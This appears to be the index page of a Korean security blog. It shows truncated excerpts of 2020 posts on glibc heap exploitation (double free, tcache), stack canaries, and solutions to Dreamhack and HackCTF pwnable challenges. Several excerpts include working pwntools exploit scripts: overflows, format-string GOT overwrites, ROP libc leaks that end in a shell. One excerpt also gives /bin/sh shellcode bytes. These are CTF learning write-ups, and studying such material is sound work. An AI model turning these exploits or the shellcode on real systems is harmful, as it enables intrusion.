anonymous?

Double Free ptmalloc2 할당자에서 fastbin dup에서는 이전에 해제된 청크인 old와 현재 해제될 청크인 p가 같은지 여부를 비교해서 동일한 힙 청크를 연속해서 해제할 경우 "double free or corruption (fasttop)"을 출력하고 비정상 종료한다. if (__builtin_expect (old == p, 0) { errstr = "double free or corruption (fasttop)"; goto errout; } ★ 취약점 원인: Double Free 미검증, size 비교 미검증 #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx < mp_.tcache_bins && tc..

SYSTEM HACKING/Exploit Tech 2020. 6. 10. 16:56

1. Tcache(Thread local Caching) glibc 2.26 버전 이후 힙 메모리 관리 매커니즘 -> 주어진 라이브러리 버전을 보고 Tcache 여부 판단한다. 힙 메모리 관리 속도 향상 위해 추가 -> 이전 버전보다 공격이 쉽다. malloc() 함수로 동적 할당 요청이 들어오면 __libc_malloc 호출된다. __libc_malloc 함수: MAYBE_INIT_TCACHE 매크로 호출해 tcache_init 함수 호출한다. #define MAYBE_INIT_TCACHE() \ if (__glibc_unlikely (tcache == NULL)) \ tcache_init(); void * __libc_malloc (size_t bytes) { ... MAYBE_INIT_TCACHE ..

SYSTEM HACKING/Exploit Tech 2020. 6. 10. 14:51

HackCTF의 Unexploitable 문제를 풀어보고 영감(?)을 받아서 만들어본 64bit ROP 문제이다.system과 read만 사용하는 상황에서 libc leak을 할 수 있다는 것을 알려주기 위해 만들어봤다. system 함수의 경우 인자로 명령어를 주지 않으면 해당 명령어가 없다고 오류 메시지를 출력해준다.그렇다면 system 함수의 인자로 어떤 함수의 got를 주면 함수 주소를 출력해주면서 오류 메시지를 출력해줄 것이다.출력해주는 것을 leak해서 libc leak을 진행하고, libc base를 구해서 one gadget을 구하면 끝난다. 다시 입력받기 위해 main 함수로 리턴해서 return address를 one gadget으로 덮으면 쉘이 따지는 문제이다. int init() {..

SYSTEM HACKING/CTF, etc 2020. 6. 8. 10:57

SSP(Stack Smashing Protector) 보호기법은 스택 버퍼오버플로우를 방지하기 위해 개발된 기법이다. SSP는 스택 buffer와 SFP(Stack Frame Pointer) 사이에 랜덤 값인 canary를 넣어서 함수 종료 시점에서 __stack_chk_fail( 함수 호출을 통해 canary 변조 여부를 체크함으로써 스택이 망가졌는지 확인한다. SSP가 적용되어 있으면 함수에서 스택을 사용할 때 canary가 생성된다. Master canary는 main() 함수가 호출되기 전에 랜덤으로 생성된 canary를 thread마다 전역 변수로 사용되는 TLS(Thread Local Storage)에 저장하는데, 모든 thread가 하나의 canary 값을 사용하기 위해서이다. TLS는 tc..

SYSTEM HACKING/Exploit Tech 2020. 6. 8. 00:26

실습을 위해 또 포너블 문제를 만들었다. void __noreturn handler() { puts("Time Out"); exit(-1); } unsigned int Init() { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); signal(14, (__sighandler_t)handler); return alarm(0x3Cu); } int menu() { puts("1. read"); puts("2. print"); puts("3. quit"); return printf("> "); } int Input() { int buf; // [rsp+0h] [rbp-10h] buf = 0; read(0, &buf, 8uLL); return atoi((..

SYSTEM HACKING/CTF, etc 2020. 6. 1. 02:36

HackCTF의 babyheap 문제를 풀어봤던 경험으로 double free 시 free의 abort로 corruption이 일어나는 것을 이용해서 쉘을 딸 수 있었다. 1. libc leak __malloc_hook, one gadget 주소를 구한다. pwntools의 libc.symbols로 _IO_2_1_stdout_ , __malloc_hook 로 offset 구해서 주소를 구해줬다. 2. 임의 주소 쓰기 취약점 __malloc_hook + one gadget 주면 buf의 __malloc_hook에 buf+1의 one gadget 값이 써진다. 3. double free -> free의 abort로 corruption이 뜨게 해서 쉘을 딴다. double free 환경을 만들어줘서 따로 ma..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 22:42

출력된 buf 주소와 스택이 들어간 위치 확인해보면 buf에서부터 값이 들어간다. \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 0b에서 계속 끊기는 현상 발생. 0b 없이 만들어야 한다. mov al, 0x0b 원래는 이거인데 0x0b는 어짜피 상수이므로 al 레지스터에 0x0b만 만들어주면 된다. 따라서 sub로 만들든 add로 만들든 11이 되도록 만들면 된다. mov al, 0x08 add al, 0x03 int 0x80 로 만들었다. 이렇게 하니까 정상적으로 쉘코드가 들어가고 return address가 덮혔다! ret에 놉 주소가 들어가있는 것 확인 가능! 그리고 nop으로 ..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:21

sprintf 취약점 : printf() 함수와 같다. 결과를 표준출력으로 출력하지 않고 문자열로 출력한다. 1번째에서 AAAA가 출력된다. offset = 1 실행해서 return address 위치를 출력해보면 그냥 0x29 = 40 위치이다. 이 위치에 넣으면 된다. 0xa4 – 4 = 0xa0 (ret 전까지) 0xa0 – %???c 위에서 offset 잘못 구했었다. 그냥 156이므로 이 156을 %156c로 넣고 이 위치에 p32(get_shell)을 넣으면 된다. #!/usr/bin/python from pwn import * #p = process("./basic_exploitation_003") p = remote("host1.dreamhack.games", 8239) elf = ELF(..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:17

offset = 1 offset에서 return address까지 거리 계산 : 0x21 #!/usr/bin/python from pwn import * #p = process("./basic_exploitation_002") p = remote("host1.dreamhack.games", 8239) elf = ELF("./basic_exploitation_002") get_shell = elf.symbols['get_shell'] exit_got = elf.got['exit'] # offset = 1 p.sendline(fmtstr_payload(1, {exit_got: get_shell})) p.interactive() #!/usr/bin/python from pwn import * p = proce..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:14

#!/usr/bin/python from pwn import * #p = process("./basic_exploitation_001") p = remote("host1.dreamhack.games", 8239) elf = ELF("./basic_exploitation_001") read_flag = elf.symbols['read_flag'] p.sendline('A'*(0x80+4) + p32(read_flag)) p.interactive()

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:10

#!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./basic_rop_x86") p = remote("host1.dreamhack.games", 8235) elf = ELF("./basic_rop_x86") libc = ELF("./libc.so.6") pop_ebx = 0x80486a6 pay = 'A'*(0x44+0x4) pay += p32(elf.plt['puts']) + p32(pop_ebx) + p32(elf.got['puts']) pay += p32(elf.symbols['main']) p.send(pay) p.recvuntil('A'*0x40) leak = u32(p.recvuntil('\xf7')) ..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:09

A까지 받으려고 했는데 잘 안돼서 하위 3바이트 offset은 똑같을 것이므로(?) ‘\x90’까지 받고 뒤에 \x90 붙이고 앞에 \x00\x00을 붙여서 leak을 했고 libc base 구한 후 one gadget off를 더해서 one gadget을 구했다. 그리고 return address->onegadget하면 쉘 획득! #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./basic_rop_x64") p = remote("host1.dreamhack.games", 8248) elf = ELF("./basic_rop_x64") libc = elf.libc pop_rdi = 0x00400883 pay = '..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:06